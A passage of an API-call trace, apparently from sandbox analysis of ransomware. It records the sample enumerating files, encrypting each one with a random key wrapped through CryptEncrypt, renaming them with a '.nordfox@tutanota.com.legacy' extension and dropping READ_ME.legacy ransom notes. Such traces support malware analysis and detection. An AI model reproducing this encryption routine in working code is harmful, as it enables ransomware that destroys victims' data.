ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0145.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0145.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0145.343] GetLastError () returned 0x0 [0145.343] SetLastError (dwErrCode=0x0) [0145.343] GetLastError () returned 0x0 [0145.343] SetLastError (dwErrCode=0x0) [0145.343] GetLastError () returned 0x0 [0145.343] SetLastError (dwErrCode=0x0) [0145.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0145.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0145.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0145.343] FindNextFileW (in: hFindFile=0x60cad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe130d421, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe130d421, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0145.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0145.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0145.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0145.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0145.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0145.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0145.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0145.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0145.343] GetLastError () returned 0x0 [0145.343] SetLastError (dwErrCode=0x0) [0145.343] GetLastError () returned 0x0 [0145.343] SetLastError (dwErrCode=0x0) [0145.343] GetLastError () returned 0x0 [0145.344] SetLastError (dwErrCode=0x0) [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0145.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0145.344] FindNextFileW (in: hFindFile=0x60cad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0145.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0145.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0145.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0145.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0145.344] GetLastError () returned 0x0 [0145.344] SetLastError (dwErrCode=0x0) [0145.344] GetLastError () returned 0x0 [0145.344] SetLastError (dwErrCode=0x0) [0145.344] GetLastError () returned 0x0 [0145.344] SetLastError (dwErrCode=0x0) [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0145.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0145.344] FindNextFileW (in: hFindFile=0x60cad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0145.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0145.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0145.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0145.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0145.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0145.345] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", dwFileAttributes=0x80) returned 1 [0145.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0145.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0145.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0145.346] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d4 [0145.346] GetFileSizeEx (in: hFile=0x7d4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143360) returned 1 [0145.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2f40858 [0145.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2e81f40 [0145.349] ReadFile (in: hFile=0x7d4, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0145.390] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.390] WriteFile (in: hFile=0x7d4, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0145.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0145.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0145.394] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23000 [0145.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0145.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0145.395] WriteFile (in: hFile=0x7d4, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0145.396] WriteFile (in: hFile=0x7d4, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0145.396] CloseHandle (hObject=0x7d4) returned 1 [0145.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0145.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0145.396] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0145.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0145.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0145.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0145.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0145.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0145.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0145.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0145.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0145.399] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0145.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0145.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0145.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0145.399] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d4 [0145.400] GetFileSizeEx (in: hFile=0x7d4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4932896) returned 1 [0145.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b4520) returned 0x312d020 [0145.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b4520) returned 0x35fc020 [0145.671] ReadFile (in: hFile=0x7d4, lpBuffer=0x312d020, nNumberOfBytesToRead=0x4b4520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b4520, lpOverlapped=0x0) returned 1 [0146.053] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=-4932896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.053] WriteFile (in: hFile=0x7d4, lpBuffer=0x35fc020*, nNumberOfBytesToWrite=0x4b4520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x35fc020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b4520, lpOverlapped=0x0) returned 1 [0146.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312d020 | out: hHeap=0x520000) returned 1 [0146.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x35fc020 | out: hHeap=0x520000) returned 1 [0146.158] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b4520 [0146.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0146.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0146.159] WriteFile (in: hFile=0x7d4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0146.159] WriteFile (in: hFile=0x7d4, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0146.159] CloseHandle (hObject=0x7d4) returned 1 [0146.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0146.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0146.159] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0146.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0146.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0146.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0146.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585be0 [0146.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a6a8 | out: hHeap=0x520000) returned 1 [0146.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0146.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0146.163] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60cb58 [0146.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0146.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.164] GetLastError () returned 0x0 [0146.164] SetLastError (dwErrCode=0x0) [0146.164] GetLastError () returned 0x0 [0146.164] SetLastError (dwErrCode=0x0) [0146.164] GetLastError () returned 0x0 [0146.164] SetLastError (dwErrCode=0x0) [0146.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0146.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0146.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0146.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0146.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0146.165] FindNextFileW (in: hFindFile=0x60cb58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0146.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0146.165] GetLastError () returned 0x0 [0146.165] SetLastError (dwErrCode=0x0) [0146.165] GetLastError () returned 0x0 [0146.165] SetLastError (dwErrCode=0x0) [0146.165] GetLastError () returned 0x0 [0146.166] SetLastError (dwErrCode=0x0) [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0146.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c498 [0146.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c498 | out: hHeap=0x520000) returned 1 [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0146.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0146.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0146.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0146.166] FindNextFileW (in: hFindFile=0x60cb58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DC", cAlternateFileName="")) returned 1 [0146.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0146.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0146.167] GetLastError () returned 0x0 [0146.167] SetLastError (dwErrCode=0x0) [0146.167] GetLastError () returned 0x0 [0146.167] SetLastError (dwErrCode=0x0) [0146.167] GetLastError () returned 0x0 [0146.167] SetLastError (dwErrCode=0x0) [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585aa8 [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585288 [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.167] GetLastError () returned 0x0 [0146.167] SetLastError (dwErrCode=0x0) [0146.167] GetLastError () returned 0x0 [0146.167] SetLastError (dwErrCode=0x0) [0146.167] GetLastError () returned 0x0 [0146.167] SetLastError (dwErrCode=0x0) [0146.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.167] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8 [0146.170] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.170] WriteFile (in: hFile=0x7d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0146.171] CloseHandle (hObject=0x7d8) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585288 | out: hHeap=0x520000) returned 1 [0146.171] FindNextFileW (in: hFindFile=0x60cb58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18b6d16, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe18b6d16, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe18b6d16, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0146.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 